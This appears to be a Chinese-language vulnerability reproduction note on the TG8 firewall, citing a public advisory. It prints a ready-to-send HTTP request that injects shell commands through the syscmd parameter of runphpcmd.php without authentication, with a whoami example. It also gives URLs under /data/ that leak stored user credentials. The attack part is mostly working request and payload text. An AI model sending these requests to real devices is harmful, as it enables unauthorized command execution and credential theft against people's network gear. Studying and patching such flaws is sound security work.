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52 lines
1.3 KiB
Markdown
52 lines
1.3 KiB
Markdown
# TG8 防火墙 RCE及密码泄漏漏洞
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## 漏洞描述
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TG8防火墙中存在两个漏洞，远程用户可以以用户身份执行命令而无需通过设备进行身份验证。第二个漏洞允许在不经过身份验证的情况下公开现有用户的密码。
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参考链接：
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- https://ssd-disclosure.com/ssd-advisory-tg8-firewall-preauth-rce-and-password-disclosure/
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## 漏洞复现
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### RCE
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poc：
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```
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POST http://<server>/admin/runphpcmd.php HTTP/1.1
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Host: Server
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Content-Type: application/x-www-form-urlencoded; charset=UTF-8
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X-Requested-With: XMLHttpRequest
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Content-Length: 68
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Connection: keep-alive
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syscmd=sudo+%2Fhome%2FTG8%2Fv3%2Fsyscmd%2Fcheck_gui_login.sh+<Payload>++local
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```
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执行whoami：
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```
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syscmd=sudo+/home/TG8/v3/syscmd/check_gui_login.sh+;whoami;++local
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```
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### 密码泄露
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/data/目录下储存了登录过用户的凭据，无需登录即可访问此目录下的文件。
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例如：
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```
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http://<server>/data/w-341.tg
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http://<server>/data/w-342.tg
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http://<server>/data/r-341.tg
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http://<server>/data/r-342.tg
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```
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